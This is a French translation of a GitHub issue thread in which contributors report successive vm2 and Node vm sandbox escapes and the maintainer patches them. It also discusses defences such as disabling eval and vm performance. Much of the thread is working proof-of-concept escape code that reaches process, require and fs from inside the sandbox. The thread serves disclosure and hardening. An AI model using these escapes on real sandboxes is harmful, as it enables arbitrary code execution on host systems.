Vm2: Échapper au bac à sable vm

Créé le 16 juin 2016  ·  64Commentaires  ·  Source: patriksimek/vm2

Il est possible d'échapper à la VM et d'effectuer des actions très indésirables.

Trouvé via l'essentiel suivant en relation avec la machine virtuelle native du nœud : https://gist.github.com/domenic/d15dfd8f06ae5d1109b0

Prenons les 2 exemples de code suivants :

const VM = require('vm2').VM;

const options = {
    sandbox: {}
};

const vm = new VM(options);

vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

et :

const NodeVM = require('vm2').NodeVM;

const options = {
    console: 'off',
    sandbox: {},
    require: false,
    requireExternal: false,
    requireNative: [],
    requireRoot : "./"
};

const vm = new NodeVM(options);
vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

Exécuter l'une de ces sorties comme suit :

{ dev: 16777220,
  mode: 16877,
  nlink: 14,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 476,
  blocks: 0,
  atime: 2016-06-15T22:20:05.000Z,
  mtime: 2016-06-15T22:19:59.000Z,
  ctime: 2016-06-15T22:19:59.000Z,
  birthtime: 2016-06-09T01:02:12.000Z }

J'ai validé ce comportement sur les deux v4.4.5 et v6.2.1

discussion

Commentaire le plus utile

Argh ! Vous accrochez ! ;) Je dois m'excuser de vous avoir guidé comme ça. Pour tout public là-bas; le problème avec la portée de la machine virtuelle dans node.js concerne les références aux objets de la portée de l'hôte (à partir desquels vous pouvez obtenir une référence à toute la portée de l'hôte via la chaîne de prototypes).

Maintenant que vous avez remplacé la propriété constructor , je vais devoir aller en dessous :

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

Tous les 64 commentaires

Merci pour le rapport, je travaille dur sur une nouvelle version de vm2 et j'ai pu corriger cette fuite en créant un contexte dans un contexte créé. Je ne sais pas s'il existe un autre moyen d'échapper au bac à sable, je n'en ai pas encore trouvé.

const context = vm.createContext(vm.runInNewContext("({})"));

const whatIsThis = vm.runInContext(`
    const ForeignFunction = this.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`, context);

J'ai essayé de grimper mais ce n'est pas possible car c'est true :

this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()

J'ai joué avec l'approche que vous mentionnez ci-dessus.

Le premier objectif était d'essayer d'adapter votre commentaire pour me permettre de passer des choses dans le bac à sable, ce qui est nécessaire pour mon cas d'utilisation. Veuillez me corriger si ce n'est pas la bonne façon de procéder, mais cela semble être la seule façon :

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {
        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

Les sorties:

Hello World Inside
Hello World Outside

Ensuite, j'ai à nouveau essayé d'échapper à la VM et j'ai réussi :

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {

        const ForeignFunction = log.constructor.constructor;
        const process1 = ForeignFunction("return process")();
        const require1 = process1.mainModule.require;
        const console1 = require1("console");
        const fs1 = require1("fs");
        console1.log(fs1.statSync('.'));

        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

Quelles sorties :

{ dev: 16777220,
  mode: 16877,
  nlink: 16,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 544,
  blocks: 0,
  atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
  mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside

Il semble qu'il n'y ait aucun moyen d'injecter en toute sécurité des éléments dans le bac à sable sans que ces éléments ne soient utilisés pour sortir du bac à sable.

Il existe un moyen - les objets doivent être contextualisés dans le contexte de la VM. Il y a deux façons de le faire. Vous pouvez soit cloner ces objets en profondeur, soit utiliser des proxys. J'utilise des proxys dans la nouvelle vm2.

https://github.com/patriksimek/vm2/tree/v3

J'ai poussé la prochaine version vers GH. C'est encore un travail en cours mais ça devrait marcher.

v3 est cassé aussi:

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        'log' : console.log,
    },
});

vm.run(`
    try {
        log.__proto__ = null;
    }
    catch (e) {
        const foreignFunction = e.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const fs = require("fs");
        log(fs.statSync('.'));
    }
`);

C'est un peu futile de jouer à ce jeu de taupe.

@parasyte merci, cela a été causé par une faute de frappe dans mon code. C'est réglé maintenant.

N'oubliez pas d'attraper les exceptions.

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        boom() {
            throw new Error();
        },
    },
});

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        boom();
    }
    catch (e) {
        exploit(e);
    }
`);

@parasyte merci, corrigé. J'apprécie vraiment vos contributions.

+1

@patriksimek sympa !

J'ai également accès à certains objets de portée globale que je peux exploiter pour sortir du bac à sable contextifié. Celui-ci ne nécessite même pas de passer d'objets dans la VM.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Reflect.construct = exploit;
    new Buffer([0]);
`);

@parasyte sheesh ! Il doit y avoir une pléthore de vecteurs à découvrir.

@keyosk Ouais, probablement...

BTW @patriksimek l'ES6 est bien meilleur que coffeescript ! ??

@parasyte merci encore, c'est corrigé avec quelques autres portes dérobées que j'ai trouvées.
@keyosk Je crois que nous les trouverons tous.

Et celui-ci ?

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Object.assign = function (o) {
        return {
            'get' : function (t, k) {
                try {
                    t = o.get(t, k);
                    exploit(t);
                }
                catch (e) {}

                return t;
            },
        };
    };
    new Buffer([0]);
`);

@parasyte belle prise, a corrigé cela. Merci.

Vous avez ouvert une toute nouvelle boîte de vers dans un patch récent.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        new Buffer();
    }
    catch (e) {
        exploit(e);
    }
`);

Merde, je travaillais trop tard et j'ai perdu ma concentration. A écrit quelques notes de sécurité , principalement pour moi. :)

Merci, corrigé.

Eh bien, je n'ai même pas examiné NodeVM jusqu'à maintenant ! Il y a beaucoup plus de surface à nettoyer, ici...

J'ai tout de suite remarqué une fuite via arguments.callee :

'use strict';

const {NodeVM} = require('vm2');

const vm = new NodeVM();

vm.run(`
    function getParent(o) {
        return o.constructor.constructor('return this')();
    }

    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');

        return o;
    }

    (function () {
        exploit(getParent(getParent(arguments.callee.caller)));
    })();
`);

Eh bien, cela nous amène au problème initial ici - le contexte créé dans un nouveau contexte n'est évidemment pas suffisant. Version courte:

vm.run(`
    global.constructor.constructor('return this')().constructor.constructor('return process')()
`);

Pas encore trouvé de solution. Peut-être en patchant l'hôte avec delete process.mainModule mais je suis sûr qu'il existe un autre moyen de monter jusqu'à require .

J'ai trouvé une solution :-)

Argh ! Vous accrochez ! ;) Je dois m'excuser de vous avoir guidé comme ça. Pour tout public là-bas; le problème avec la portée de la machine virtuelle dans node.js concerne les références aux objets de la portée de l'hôte (à partir desquels vous pouvez obtenir une référence à toute la portée de l'hôte via la chaîne de prototypes).

Maintenant que vous avez remplacé la propriété constructor , je vais devoir aller en dessous :

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

J'ai fait quelques recherches ici et j'ai remarqué que global.__proto__ === host.Object.prototype . En appliquant Object.setPrototypeOf(global, Object.prototype) j'ai pu fermer le cricle.

Merci encore.

@parasyte @patriksimek est-ce fermé sur la dernière version publiée de npm ?

Oui, nous pouvons fermer cela pour le moment.

FWIW, nous avons résolu ce problème simplement en désactivant eval ... et en faisant très attention à ne pas exposer les références dans le bac à sable.

#include <nan.h>

using v8::Local;
using v8::Context;

NAN_METHOD(enableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(true);

  info.GetReturnValue().SetUndefined();
}

NAN_METHOD(disableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(false);

  info.GetReturnValue().SetUndefined();
}

void Init(v8::Local<v8::Object> exports) {
  exports->Set(Nan::New("enableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());

  exports->Set(Nan::New("disableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}

NODE_MODULE(vm8, Init)

Cela empêche l'échappement puisque la chaîne return process ne peut pas être évaluée. Par conséquent, il désactive également les appels légitimes eval() et Function Generator Constructor. (L'utilité de ces fonctionnalités est plutôt discutable.)

@parasyte juste pour plus de clarté est-ce quelque chose que vous avez implémenté ailleurs ? Ou quelque chose a contribué à vm2 ?

@keyscores cela a été implémenté ailleurs.

Ouais, ailleurs. Nous avons un projet de bac à sable similaire qui attend actuellement l'autorisation de publier en open source. Désolé pour la confusion. Je commentais comment le problème racine a été résolu dans ce projet.

@parasyte Une mise à jour de votre version ? Serait intéressé de comparer la mise en œuvre. Je pense que tout le monde y gagne.

@keyscores Désolé, rien à signaler pour le moment. L'effort open source a été dépriorisé en raison d'une mauvaise planification dans l'organisation. :\

Je sais que c'est un problème mort, mais existe-t-il des contournements connus pour la bibliothèque vm de Node lors de l'exécution de code comme celui-ci :

javascript vm.runInNewContext("arbitrary user input here", Object.create(null))

@parasyte : Juste par curiosité, pourquoi ne pas simplement désactiver eval en injectant global.eval = null; en haut du code externe avant de l'exécuter ?

@Eric24 Bonne question ! Cette présentation explique pourquoi en détail : https://vimeo.com/191757364 et voici le diaporama : https://goo.gl/KxiG73

Le point le plus important est qu'il existe de nombreuses façons d'appeler eval() partir de JavaScript, et remplacer global.eval n'est que l'une d'entre elles. Au moment où vous aurez parcouru toute la liste, vous vous rendrez compte qu'il est impossible de contrôler les évaluations de correctifs par GeneratorFunction . Et cela n'inclut pas une myriade d'autres façons dont eval() pourraient être exposés par les futurs changements d'ES.

La seule solution viable consiste donc à désactiver les évaluations dans la V8 à l'aide de C++.

@parasyte : Parfaitement logique (et merci pour la présentation). Alors, votre code C++ désactive-t-il eval uniquement dans la machine virtuelle ou dans le "processus hôte" également ?

@ Eric24, il désactivera eval dans le contexte dans lequel disableEval est appelé. Vous voudrez l'injecter au début du code utilisateur fourni qui doit être exécuté dans la machine virtuelle. De plus, vous pouvez également l'exécuter dans votre hôte et le désactiver également dans ce contexte.

@parasyte :

@Anorov Cela a été signalé il y a quelques jours à peine : https://github.com/nodejs/node/issues/15673 Cela permet d'échapper à la VM même avec un prototype nul sur le bac à sable. Ce n'est un problème que si les domaines sont activés (ce n'est pas la valeur par défaut, mais méfiez-vous de l'utilisation de domain dans toute votre hiérarchie de dépendances).

Voici une preuve de concept pratique. Testé sur le nœud v8.6.0 :

// 'use strict';

const domain = require('domain');
const vm = require('vm');

const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;

domain.create().enter(); // Entering a domain leaks the private context into VM

vm.runInNewContext(untrusted, Object.create(null));

Faites attention aux fuites comme celles-ci. La seule façon d'être à l'abri de cette classe de vulnérabilité est de désactiver eval. Et sachez qu'il peut y avoir d'autres problèmes avec vm dehors de la portée d'eval.

@parasyte Merci. J'exécute ce code avec Node de Python : https://github.com/Anorov/cloudflare-scrape/blob/master/cfscrape/__init__.py#L111

Aucune autre bibliothèque ( domain ou autre) n'est importée ou utilisée. Voyez-vous des problèmes potentiels avec ce code ? J'aimerais éviter d'exiger des dépendances Javascript (comme vm2) si possible.

@Anorov Ah je vois. Craignez-vous que CloudFlare (ou un MITM) tente de fournir du code qui pourrait sortir du bac à sable ? Il faudrait que ce soit une attaque ciblée, mais je ne l'exclurais pas complètement.

Correct. Quelqu'un pourrait aussi imiter la page que j'attends donc
que mon script pense que c'est Cloudflare alors que ce n'est pas le cas. j'envisage aussi
vérifier que l'adresse IP du serveur appartient à Cloudflare en tant que
précaution supplémentaire.

Mais peu importe, supposons simplement que ce code s'exécutait sur n'importe quel
l'entrée de l'utilisateur et pas seulement celle de Cloudflare. Le mécanisme de sandboxing est-il sûr, pour
le meilleur des connaissances de la communauté Node ?

Le 2 octobre 2017 à 22h10, "Jay Oster" [email protected] a écrit :

@Anorov https://github.com/anorov Ah je vois. Êtes-vous inquiet que
CloudFlare (ou un MITM) tentera de fournir du code qui pourrait sortir de
le bac à sable ? Il faudrait que ce soit une attaque ciblée, mais je ne le déciderais pas
entièrement.

-
Vous recevez ceci parce que vous avez été mentionné.
Répondez directement à cet e-mail, consultez-le sur GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-333718695 , ou couper le son
le fil
https://github.com/notifications/unsubscribe-auth/AA5FI1K1_aDCq6-RPOkCc1ak7gs9KFlvks5soZeZgaJpZM4I22m8
.

@Anorov :

Le mécanisme de sandboxing est-il sûr, à la connaissance de la communauté Node ?

Absolument pas. La documentation officielle fait cette note très forte :

Remarque : le module vm n'est pas un mécanisme de sécurité. Ne l'utilisez pas pour exécuter du code non fiable.

Je suis au courant de cet avertissement, mais je m'interroge sur l'aspect pratique.

Le 3 octobre 2017 à 16h34, "Cody Massin" [email protected] a écrit :

@Anorov https://github.com/anorov :

Le mécanisme de sandboxing est-il sûr, au meilleur de la communauté Node
connaissance?

Absolument pas. La documentation officielle
https://nodejs.org/api/vm.html#vm_vm_executing_javascript rend cela
note très forte :

Remarque : le module vm n'est pas un mécanisme de sécurité. Ne l'utilisez pas pour courir
code non fiable.

-
Vous recevez ceci parce que vous avez été mentionné.
Répondez directement à cet e-mail, consultez-le sur GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-333969953 , ou couper le son
le fil
https://github.com/notifications/unsubscribe-auth/AA5FIwNwNErztUZB-adB4KrC5WoBYs4Nks5sopplgaJpZM4I22m8
.

En pratique, le mécanisme de sandboxing est dangereux pour le code non fiable. C'est pourquoi @patriksimek a tenté de créer un mécanisme de sandboxing sécurisé avec la bibliothèque vm2 . C'est aussi pourquoi @parasyte a travaillé pour créer sa propre bibliothèque en utilisant une approche différente pour le sandboxing du code non fiable.

@Anorov En bref, ne comptez pas uniquement sur vm . Mais c'est un outil utile comme une seule couche d'oignon.

J'ai joué avec la machine virtuelle et le code C++ suggéré pour désactiver eval de

const userfunc = new Function('context',
  '"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');

Cela fonctionne aussi et est beaucoup plus rapide (plus de 1000 fois plus rapide dans certains cas de test). En plus de désactiver eval, j'empêche également le code utilisateur de contenir une référence à 'global' (sans ce test, la fonction peut modifier la portée globale en utilisant global.whatever). Cela semble être un bac à sable efficace et sécurisé. Qu'est-ce que je rate?

Votre stratégie empêche-t-elle les gens d'importer des espaces de noms comme fs et de modifier radicalement vos serveurs ? Je suis également curieux de connaître la désactivation d'eval, pourquoi se soucier de eval et non de s'inquiéter du code en dehors de eval ?

@wysisoft : Bonne question. Oui, 'exiger' n'est pas exposé. Chaque script, dans le cadre de ses métadonnées, définit une liste de modules "autorisés et vérifiés" dont il a besoin, qui sont individuellement exposés à la fonction avant son exécution. En ce qui vous concerne en particulier, « fs » ne figurerait pas sur cette liste approuvée (mais pour les scripts nécessitant un stockage temporaire, un ensemble de fonctions de lecture/écriture limitées est fourni).

La désactivation de 'eval' est la clé pour arrêter un certain nombre d'exploits (voir le commentaire de @parasyte le 18NOV16). Autoriser 'eval' permet d'accéder à la portée globale d'une manière qui ne peut pas être empêchée autrement. Plus de détails dans le commentaire de @parasyte le 1OCT17).

@ Eric24 Je ne comprends pas ce qui est "lent" à propos de vm . C'est exactement le même runtime v8 qui alimente nodeJS. Êtes-vous sûr de ne pas faire quelque chose de stupide, comme recréer le bac à sable à chaque fois que vous exécutez le code ? Il y a des frais généraux, mais pas 1000 fois plus de frais généraux.

@wysisoft eval() est une méthode facilement accessible pour échapper au bac à sable. La désactiver fermera définitivement la trappe d'échappement en évaluant le code dans le contexte privé . Mais je le répète encore, ce n'est pas le seul vecteur d'attaque et il faut se méfier de tout.

@parasyte - J'ai un test très simple qui crée une fonction () et une machine virtuelle avec le plus près possible du même code pour chacun, s'exécute à la fois 1000 fois et rapporte le temps total requis. Code ci-dessous :

"use strict";

const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");

console.log('TEST=' + global.test);
let response = {result: 0, body: null};

// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
  '"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');

// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
  '"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);

// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');

// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');

// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  //ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};  // << THIS IS THE PROBLEM!
  //context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

Comme vous pouvez le voir dans le test, je crée le script et le contexte une fois, puis je l'exécute 1000 fois. Cependant, dans le cas d'utilisation cible réel, je devrai recréer le contexte à chaque fois (pouvant potentiellement mettre en cache le script compilé), car chaque exécution est unique et doit commencer avec un nouveau contexte). Sans recréer le contexte à chaque fois, la différence entre la Function() et la VM est de 6 à 14 fois.

Mais après avoir regardé de plus près, j'ai essayé une variante du code (créant le contexte à chaque fois à l'intérieur de la boucle), qui est plus proche du cas d'utilisation réel. J'avais initialement chronométré la création unique du contexte à un peu moins de 1 ms, donc je l'incluais sur une base par itération. Mais l'exécution du code réel a montré le vrai coupable - alors que la machine virtuelle est encore plus lente, le problème n'est pas de créer le contexte, mais de créer l'objet « ctx ». C'est assez surprenant.

Mais la création d'un nouvel objet pour le contexte VM sera nécessaire à chaque fois (bien que certaines variations soient également nécessaires pour Function(), donc la différence entre les deux revient à 6 à 14 fois (ce qui est toujours significatif) .

Hmmm. Je viens d'essayer un autre test :

let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');


hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  // let context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

Ici, l'objet 'ctx' est recréé à chaque fois, dans les deux tests, mais le contexte n'est créé qu'une seule fois. Le décalage horaire est revenu dans la plage 6 à 14. Mais si je décommente la ligne qui recrée le contexte à chaque fois, c'était jusqu'à 144 fois plus lent !

@ Eric24 Vous faites ce que j'ai dit dans mon post précédent. 😕 script.runInContext() est le problème. C'est effectivement la même chose que d'appeler eval() (avec un contexte v8 différent).

La solution pour résoudre votre problème de performances consiste à appeler runInContext une fois pour compiler le code et à interagir avec le code compilé via la référence qu'il renvoie ou les références que vous fournissez comme arguments d'entrée. Par exemple, passer quelques objets new Event() pour une communication bidirectionnelle avec le bac à sable. C'est ce que fait notre vm wrapper [encore interne, n'a pas été open-source pour des raisons politiques], et la surcharge est totalement négligeable.

@parasyte : Hmmm. Mais new vm.Script() ne compile-t-il pas le code ? Dans tous les cas, je pense que pour faire ce que vous dites, la chose que je devrais mettre en cache est la référence à runInContext, donc je ne subirai la surcharge que la première fois qu'un script est appelé. Cela vaut vraiment la peine d'être considéré.

Nan. runInContext compile le code. Pensez-y. v8 est un compilateur Just-In-Time . Il doit exécuter le code pour le compiler.

@parasyte : OK, mais à partir de la doc node.js :
_Les instances de la classe vm.Script contiennent des scripts précompilés qui peuvent être exécutés dans des bacs à sable spécifiques (ou "contextes")._

@ Eric24 La documentation est un peu déroutante. L'extrait de code associé est "compilé" dans le même sens qu'un interpréteur compile JavaScript en code d'octet. Le JS est capable de s'exécuter via un interpréteur après l'instanciation de l'objet Script , mais la majorité du gain de performances de la v8 provient de la compilation de cette représentation intermédiaire interprétée dans le code machine natif. La dernière étape ne commence que lorsque runInContext est appelé.

En réalité, le cycle de vie du compilateur JIT est plus complexe que cela, car le code doit se réchauffer avant même que le JIT ne le considère pour l'optimisation. Il y a beaucoup de matériel de

Mais pour vous fournir des données concrètes, voici le code source pertinent pour runInContext : https://github.com/nodejs/node/blob/v8.7.0/lib/vm.js#L54 -L61

La référence realRunInContext provient du module C++ contextify . Que vous pouvez trouver ici : https://github.com/nodejs/node/blob/v8.7.0/src/node_contextify.cc#L660 -L719

La partie la plus importante de ce code C++ est sans doute l'appel à EvalMachine , qui lie le code compilé au contexte actuel, et appelle script->Run() pour démarrer le compilateur JIT. Ce qui bien sûr est ce qui commence à chercher du code à optimiser.

J'espère que cela pourra aider!

@parasyte : Oui, c'est utile. Merci!

Nous avons du mal avec une implémentation utilisant le bac à sable vm2. Pouvons-nous appeler du code asynchrone à l'intérieur du bac à sable vm2 ? la raison en est que nous devons nous connecter à une source de données telle que Mysql à partir du bac à sable de vm2 ?

Oui, vous pouvez attendre asynchrone dans le bac à sable, quels problèmes rencontrez-vous ?
Gardez à l'esprit que si vous exécutez du code non fiable, vous ne voudrez probablement pas
donner un accès SQL complet au bac à sable. Au lieu de cela, vous voudrez probablement ajouter un
méthode getdata() vers le bac à sable qui exécute le code en dehors du bac à sable où
la connexion SQL réelle se produit.

Le Mar 24 Oct 2017 à 06:49 Rajagopal Somasundaram <
[email protected]> a écrit :

Nous avons du mal avec une implémentation utilisant le bac à sable vm2. Pouvons-nous appeler
code asynchrone dans le bac à sable vm2 ? la raison en est que nous devons nous connecter à un
source de données comme Mysql du bac à sable de vm2 ?

-
Vous recevez ceci parce que vous avez été mentionné.
Répondez directement à cet e-mail, consultez-le sur GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-338978717 , ou couper le son
le fil
https://github.com/notifications/unsubscribe-auth/AOeY7Kir6Mm_k_P2ZhR3tdQzZQPknTNZks5svdz0gaJpZM4I22m8
.

@wysisoft Merci pour la réponse, nous avons séparément soulevé le problème avec les détails https://github.com/patriksimek/vm2/issues/102. De plus, les configurations d'accès SQL sont fournies par l'utilisateur lui-même et le script sandbox n'accédera pas à notre base de données d'application.

@Eric24 partagez-vous l'alternative 'nouvelle fonction ()'? Semble plus propre que la VM

@platinumindustries : En fin de compte, je ne recommande pas l'alternative "new Function()". Nous avons fini par rester avec l'approche VM et nous nous sommes concentrés sur l'optimisation de ce code à la place. Ce que nous avons maintenant fonctionne très bien. Honnêtement, je ne me souviens pas exactement de ce qui nous a poussés dans cette direction, mais je sais qu'il y a eu plusieurs petites choses qui ont finalement rayé l'approche "nouvelle fonction ()" de la liste.

@ Eric24 Très bien alors. De plus, dans la nouvelle version de NodeJS 10.9*, ils ont une option pour désactiver eval() dans le vm. Alors est-ce suffisant ou dois-je encore le désactiver à partir de C

Vraiment désolé d'avoir sauté dans un vieux fil.

Cependant, dans le cas d'utilisation cible réel, je devrai recréer le contexte à chaque fois (pouvant potentiellement mettre en cache le script compilé), car chaque exécution est unique et doit commencer avec un nouveau contexte).

@ Eric24 Je regarde comment je pourrais potentiellement exécuter du code arbitraire en utilisant vm2 dans une application serveur. Je pense que mon cas d'utilisation est similaire à celui que vous avez mentionné car je regarde comment je peux passer des paramètres/arguments d'une requête entrante dans le code exécuté à l'intérieur de la machine virtuelle.

À l'heure actuelle, la seule façon que je vois pour le faire est de créer un nouveau contexte à chaque fois, mais c'est vraiment lent. J'essaie de déterminer si je peux réutiliser un objet de contexte mais utiliser un autre mécanisme pour fournir des données au code exécuté dans la machine virtuelle. @parasyte a mentionné quelque chose à propos de la communication bidirectionnelle utilisant des objets Event() mais ce n'était pas tout à fait clair pour moi.

Je me demandais si vous aviez rencontré un problème similaire et si c'était le cas, pourriez-vous partager quelques conseils sur la façon dont vous l'avez résolu ? Merci pour votre temps.

@darahayes : En fait, je crée un nouveau contexte pour chaque exécution, mais je ne trouve pas cela du tout lent. Quel genre de performances voyez-vous par rapport à ce que vous attendez ? Et comment mesurez-vous les performances ?

Je lance un nouveau processus nodejs pour chaque exécution, et ce n'est pas si mal, moins de 100 ms de retard.

Cette page vous a été utile?
0 / 5 - 0 notes